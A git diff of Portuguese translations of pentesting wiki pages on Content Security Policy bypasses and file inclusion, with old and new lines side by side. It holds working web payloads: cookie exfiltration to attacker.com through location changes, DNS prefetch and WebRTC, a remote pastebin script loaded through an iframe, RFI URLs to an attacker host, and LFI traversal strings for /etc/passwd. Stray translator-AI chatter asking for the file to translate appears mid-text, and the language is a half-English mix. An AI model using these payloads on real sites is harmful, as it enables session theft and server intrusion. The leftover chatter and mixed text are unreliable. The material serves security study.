@ -463,29 +462,29 @@ A função `importScripts` dos Service Workers não é limitada pelo CSP:
### Policy Injection
**Pesquisa:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Se um **parâmetro** enviado por você estiver sendo **colado dentro** da **declaração** da **policy**, então você poderia **alterar** a **policy** de alguma forma que a torne **inútil**. Você poderia **permitir script 'unsafe-inline'** com qualquer um desses bypasses:
Se um **parâmetro** enviado por você está sendo **colado dentro** da **declaração** da **política,** então você poderia **alterar** a **política** de forma que a torne **inútil**. Você poderia **permitir script 'unsafe-inline'** com qualquer um destes bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Porque esta diretiva vai **sobrescrever as diretivas script-src existentes**.\
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
Porque esta diretiva vai **sobrescrever as diretrizes script-src existentes**.\
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
No Edge é muito mais simples. Se você conseguir adicionar na CSP apenas isto: **`;_`** **Edge** irá **descartar** toda a **política**.\
Exemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
No Edge é muito mais simples. Se você conseguir adicionar na CSP apenas isto: **`;_`** **Edge** iria **descartar** toda a **policy**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Time attack
Observe a falta da diretiva `'unsafe-inline'`\
Desta vez você pode fazer a vítima **carregar** uma página **sob seu controle** via **XSS** com um `<iframe`. Desta vez você fará com que a vítima acesse a página de onde você quer extrair informação (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página leva para carregar** você pode extrair a informação de que precisa.
Note a ausência da diretiva `'unsafe-inline'`\
Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde quer extrair informação (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página demora a carregar** você pode extrair a informação que precisa.
Desta vez uma **flag** será extraída: sempre que um **char for corretamente adivinhado** via SQLi a **resposta** demora **mais tempo** devido à função sleep. Então, você poderá extrair a flag:
Desta vez um **flag** vai ser extraído: sempre que um **char** for adivinhado corretamente via SQLi a **resposta** leva **mais tempo** devido à função sleep. Então, você será capaz de extrair o **flag**:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -545,24 +544,24 @@ console.log(prefix)
run()
</script>
```
### Por Bookmarklets
### Via Bookmarklets
Esse ataque implicaria alguma engenharia social em que o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Esse bookmarklet conteria código **javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** tais como cookies ou tokens.
Este ataque envolve algum social engineering onde o atacante **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens.
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass ao restringir CSP
### CSP bypass by restricting CSP
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
Você pode **restringir o CSP de um iframe** com o atributo **`csp`**:
Você pode **restrict a CSP of an Iframe** com o **`csp`** attribute:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
Em [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível via **HTML injection** **restringir** ainda mais uma **CSP** de modo que um script que impedia CSTI foi desabilitado e, portanto, a **vulnerability became exploitable.**\
A **CSP** pode ser tornada mais restritiva usando **HTML meta tags** e inline scripts podem ser desabilitados **removendo** a **entrada** que permite seu **nonce** e **enable specific inline script via sha**:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível via **HTML injection** **restringir** mais uma **CSP** de modo que um script que prevenia CSTI foi desativado e, portanto, a **vulnerability tornou-se explorável.**\
CSP pode ser tornada mais restritiva usando **HTML meta tags** e inline scripts podem ser desabilitados **removendo** a **entrada** que permite o seu **nonce** e habilitar um script inline específico via **sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -573,53 +572,55 @@ content="script-src 'self'
```
### JS exfiltration com Content-Security-Policy-Report-Only
Se você conseguir fazer com que o servidor responda com o header **`Content-Security-Policy-Report-Only`** com um **value controlled by you** (maybe because of a CRLF), você poderia fazê-lo apontar para o seu servidor e, se você **wraps** o **JS content** que deseja exfiltrate com **`<script>`**, e como é altamente provável que `unsafe-inline` não seja permitido pela CSP, isso irá **trigger a CSP error** e parte do script (contendo a informação sensível) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
Se você conseguir fazer com que o servidor responda com o header **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazê-lo apontar para o seu servidor e, se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e, como é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro de CSP** e parte do script (contendo a informação sensível) será enviada para o servidor pelo `Content-Security-Policy-Report-Only`.
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Para um exemplo [**veja este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Leaking de Informação com CSP e Iframe
### Leaking Information with CSP and Iframe
- Um `iframe` é criado que aponta para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
- Essa URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
- Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Essa propriedade revela o domínio do URI bloqueado, leaking o domínio secreto para o qual a URL inicial redirecionou.
- An `iframe` is created that points to a URL (let's call it `https://example.redirect.com`) which is permitted by CSP.
- This URL then redirects to a secret URL (e.g., `https://usersecret.example2.com`) that is **not allowed** by CSP.
- By listening to the `securitypolicyviolation` event, one can capture the `blockedURI` property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.
É interessante notar que navegadores como Chrome e Firefox apresentam comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a potencial leakage de informação sensível devido a comportamento indefinido.
It's interesting to note that browsers like Chrome and Firefox have different behaviors in handling iframes with respect to CSP, leading to potential leakage of sensitive information due to undefined behavior.
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método baseia-se em um algoritmo de busca binária e em ajustar o CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um snippet mostrando como o CSP pode ser configurado para facilitar este método:
Another technique involves exploiting the CSP itself to deduce the secret subdomain. This method relies on a binary search algorithm and adjusting the CSP to include specific domains that are deliberately blocked. For example, if the secret subdomain is composed of unknown characters, you can iteratively test different subdomains by modifying the CSP directive to block or allow these subdomains. Here’s a snippet showing how the CSP might be set up to facilitate this method:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Ao monitorar quais requests são bloqueadas ou permitidas pelo CSP, é possível reduzir os caracteres possíveis no subdomínio secreto, eventualmente descobrindo a URL completa.
Monitorando quais requests são bloqueadas ou permitidas pela CSP, é possível reduzir os caracteres possíveis no subdomínio secreto, eventualmente descobrindo a URL completa.
Ambos os métodos exploram as nuances da implementação do CSP e do comportamento nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente leak informações sensíveis.
Ambos os métodos exploram as nuances da implementação da CSP e do comportamento nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente leak informação sensível.
Trick from [**here**](https://ctftime.org/writeup/29310).
## Tecnologias inseguras para contornar o CSP
## Tecnologias inseguras para contornar a CSP
### Erros do PHP quando há muitos parâmetros
### PHP Errors when too many params
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar muitos parâmetros (1001 GET parameters embora você também possa fazer isso com parâmetros POST e mais de 20 arquivos). Qualquer **`header()`** definido no código web PHP **não será enviado** por causa do erro que isso irá disparar.
De acordo com a [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar parâmetros demais (1001 GET parameters embora você também possa fazer com POST params e mais que 20 files). Qualquer definido **`header()`** no código web PHP **won't be sent** por causa do erro que isso irá disparar.
### PHP response buffer overload
O PHP é conhecido por **armazenar a resposta em buffer até 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **CSP header**, causando que o header seja ignorado.\
Então, a técnica consiste basicamente em **encher o buffer de resposta com avisos** para que o **CSP header** não seja enviado.
PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um warning, ao fornecer **dados suficientes dentro dos warnings**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, causando que o header seja ignorado.\
Então, a técnica consiste basicamente em **preencher o buffer de resposta com warnings** para que o cabeçalho CSP não seja enviado.
### Kill CSP via max_input_vars (headers already sent)
Idea de [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
Porque os headers devem ser enviados antes de qualquer output, avisos emitidos pelo PHP podem invalidar chamadas posteriores a `header()`. Se a entrada do usuário exceder `max_input_vars`, o PHP lança primeiro um startup warning; qualquer `header('Content-Security-Policy: ...')` subsequente falhará com “headers already sent”, desabilitando efetivamente o CSP e permitindo reflective XSS que seriam bloqueados de outra forma.
### Desativar CSP via max_input_vars (headers already sent)
Como headers devem ser enviados antes de qualquer output, avisos emitidos pelo PHP podem invalidar chamadas posteriores a `header()`. Se a entrada do usuário exceder `max_input_vars`, o PHP lança um startup warning primeiro; qualquer `header('Content-Security-Policy: ...')` subsequente irá falhar com “headers already sent”, efetivamente desabilitando a CSP e permitindo XSS reflexivo que seria bloqueado.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Por favor, cole aqui o conteúdo do arquivo src/pentesting-web/content-security-policy-csp-bypass/README.md que você quer traduzir. Vou traduzir para português mantendo exatamente a mesma sintaxe Markdown/HTML e seguindo as regras que você especificou.
Você não colou o conteúdo a ser traduzido. Por favor, cole aqui o texto do arquivo (por exemplo, src/pentesting-web/content-security-policy-csp-bypass/README.md) e eu farei a tradução para Português mantendo exatamente a mesma sintaxe Markdown/HTML e as regras que indicou.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@ -629,9 +630,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Reescrever a página de erro
### Reescrever Página de Erro
Pelo [**this writeup**](https://blog.ssrf.kr/69) parece que era possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
De acordo com [**this writeup**](https://blog.ssrf.kr/69), parece que foi possível bypass a proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -640,24 +641,25 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e então atualizando a página do atacante para o endpoint real na mesma origem que se quer abusar. Desta forma o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações ver:
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e então atualizando a página do atacante para o endpoint real na mesma origem que você quer abusar. Dessa forma o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, veja:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Além disso, **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que **reflete** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
Além disso, **wordpress** tem um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra WordPress e **inseri-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que este **script** será **carregado** porque é **allowed by 'self'**. Além disso, e porque WordPress está instalado, um atacante pode abusar do **SOME attack** através do **vulnerable** **callback** endpoint que **bypasses the CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Um atacante pode abusar desse endpoint para **generate a SOME attack** contra WordPress e **embed** isso dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que este **script** será **loaded** porque está **allowed by 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **SOME attack** através do endpoint **vulnerable** **callback** que **bypasses the CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
Para mais informações sobre como perform this attack confira [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
## Bypasses de Exfiltração do CSP
Se houver uma CSP estrita que não permite que você **interagir com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar a informação.
Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar a informação.
### Location
You could just update the location to send to the attacker's server the secret information:
Você poderia apenas atualizar a location para enviar ao servidor do atacante a informação secreta:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
@ -670,10 +672,10 @@ Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamen
```
### DNS Prefetch
Para carregar páginas mais rápido, os navegadores vão pré-resolver nomes de host em endereços IP e armazená-los em cache para uso posterior.\
Você pode instruir um navegador a pré-resolver um nome de host com: `<link rel="dns-prefetch" href="something.com">`
Para carregar páginas mais rápido, os navegadores vão pré-resolver hostnames em IP addresses e armazená-los em cache para uso posterior.\
Você pode indicar um navegador para pré-resolver um hostname com: `<link rel="dns-prefetch" href="something.com">`
Você poderia abusar desse comportamento para **exfiltrate sensitive information via DNS requests**:
Você poderia abusar desse comportamento para **exfiltrate informações sensíveis via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -690,7 +692,7 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:
Para evitar que isso aconteça, o servidor pode enviar o HTTP header:
```
X-DNS-Prefetch-Control: off
```
@ -701,7 +703,7 @@ X-DNS-Prefetch-Control: off
Em várias páginas você pode ler que **WebRTC não verifica a política `connect-src` do CSP**.
Na verdade você pode _leak_ informações usando um _DNS request_. Confira este código:
Na verdade você pode _leak_ informações usando uma _DNS request_. Confira este código:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -723,7 +725,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
O popup de credenciais envia uma requisição DNS para o iconURL sem ser restringido pela página. Só funciona em um contexto seguro (HTTPS) ou em localhost.
O popup de credenciais envia uma requisição DNS para o iconURL sem ser restringido pela página. Funciona apenas em um contexto seguro (HTTPS) ou em localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -736,7 +738,7 @@ iconURL:"https:"+your_data+"example.com"
```
## Verificando políticas CSP online
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Criando CSP automaticamente

254
src/pentesting-web/file-inclusion/README.md
View File

@ -4,22 +4,22 @@
## File Inclusion
**Remote File Inclusion (RFI):** O arquivo é carregado a partir de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto está **desativado** por padrão (**allow_url_include**).\
**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isso está **desativado** por padrão (**allow_url_include**).\
**Local File Inclusion (LFI):** O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário consegue controlar de alguma forma qual arquivo será carregado pelo servidor.
A vulnerabilidade ocorre quando o usuário pode controlar, de alguma forma, o arquivo que será carregado pelo servidor.
Funções **PHP** vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interessantes - LFI2RCE arquivos
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Misturando várias listas LFI de \*nix e adicionando mais caminhos, eu criei esta:**
**Misturando várias listas de LFI de \*nix e adicionando mais caminhos, criei esta:**
{{#ref}}
@ -33,7 +33,7 @@ Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para
### **Windows**
Mescla de diferentes wordlists:
Mesclagem de diferentes wordlists:
{{#ref}}
@ -47,15 +47,15 @@ Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para ver
### **OS X**
Consulte a lista LFI de Linux.
Verifique a lista de LFI do Linux.
## Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences removidos não recursivamente
### traversal sequences removidas de forma não recursiva
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass a adição de caracteres extras ao final da string fornecida (bypass of: $\_GET\['param']."php")
Bypass a adição de mais caracteres ao final da string fornecida (bypass de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Isso está **corrigido desde o PHP 5.4**
Isso está **resolvido desde o PHP 5.4**
### **Codificação**
Você pode usar codificações não padrão, como double URL encode (e outras):
Você pode usar codificações não padrão como double URL encode (e outras):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -86,34 +86,34 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorando Diretórios do Sistema de Arquivos em um Servidor
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:
1. **Determinar Profundidade do Diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
1. **Determinar a Profundidade do Diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Probe for Folders:** Anexe o nome da pasta suspeita (por exemplo, `private`) ao URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade:
2. **Verificar pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) ao URL, depois navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpretar os resultados:** A resposta do servidor indica se a pasta existe:
3. **Interprete os resultados:** A resposta do servidor indica se a pasta existe:
- **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado.
- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
4. **Exploração recursiva:** Pastas descobertas podem ser investigadas mais a fundo para subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` está confirmada.
4. **Exploração recursiva:** Pastas descobertas podem ser sondadas mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais Local File Inclusion (LFI).
Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use:
Para explorar diretórios em locais diferentes no sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. Frequentemente é usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são tratados como o mesmo caminho.
- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando `passwd/`) não altera o arquivo alvo.
- De forma semelhante, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo acessado.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, e `/etc/passwd/` são todos tratados como o mesmo caminho.
- Quando os últimos 6 caracteres são `passwd`, adicionar um `/` (tornando-o `passwd/`) não altera o arquivo alvo.
- Da mesma forma, se `.php` é adicionado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` ao final não alterará o arquivo acessado.
Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
```
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Nesses cenários, o número de traversals necessários pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
Nesses cenários, o número de traversais necessários pode girar em torno de 2027, mas esse valor pode variar conforme a configuração do servidor.
- **Usando Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos adicionais de ponto e caracteres podem ser usadas para navegar no sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam anuladas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Starting with a Fake Directory**: É prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
- **Using Dot Segments and Additional Characters**: Sequências de traversal (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
- **Determining the Required Number of Traversals**: Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e então até `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas que o caminho desejado (`/etc/passwd`) permaneça intacto.
- **Starting with a Fake Directory**: É prática comum iniciar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
Ao empregar path truncation techniques, é crucial entender o comportamento de parsing de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes costumam ser necessários para encontrar o método mais eficaz.
**This vulnerability was corrected in PHP 5.3.**
**Esta vulnerabilidade foi corrigida no PHP 5.3.**
### **Truques para contornar filtros**
### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,12 +145,12 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
No php isso está desabilitado por padrão porque **`allow_url_include`** é **Off.** Isso precisa estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
No php, isso está desabilitado por padrão porque **`allow_url_include`** é **Off.** Deve estar **On** para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE:
Se por algum motivo **`allow_url_include`** estiver **On**, mas o PHP estiver **filtrando** o acesso a páginas externas, [segundo este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP b64 e obter RCE:
```
